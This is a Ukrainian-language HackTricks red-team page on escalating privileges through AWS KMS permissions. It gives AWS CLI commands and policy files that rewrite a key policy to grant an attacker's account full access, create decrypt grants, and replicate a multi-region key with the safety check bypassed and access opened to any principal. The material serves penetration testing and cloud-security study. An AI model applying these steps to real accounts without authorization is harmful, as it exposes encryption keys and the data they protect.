AWS - KMS Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

KMS

Для отримання додаткової інформації про KMS перегляньте:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

З цими дозволами можна змінювати права доступу до ключа, щоб його можна було використовувати іншими обліковими записами або навіть будь-ким:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Це дозволяє принципалу використовувати ключ KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Дозвіл може дозволити лише певні типи операцій: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Зверніть увагу, що може знадобитися кілька хвилин для того, щоб KMS дозволив користувачеві використовувати ключ після створення дозволу. Після цього часу принципал може використовувати ключ KMS без необхідності вказувати що-небудь. Однак, якщо потрібно використовувати дозвіл негайно, використовуйте токен дозволу (перевірте наступний код). Для додаткової інформації прочитайте це.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Зверніть увагу, що можливо перелічити надані дозволи для ключів за допомогою:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою.

Отже, зловмисник може скористатися цим для отримання підвищення привілеїв до ключа та його використання

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Ця дозвіл дозволяє використовувати ключ для розшифрування певної інформації. Для отримання додаткової інформації перегляньте:

pageAWS - KMS Post Exploitation
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated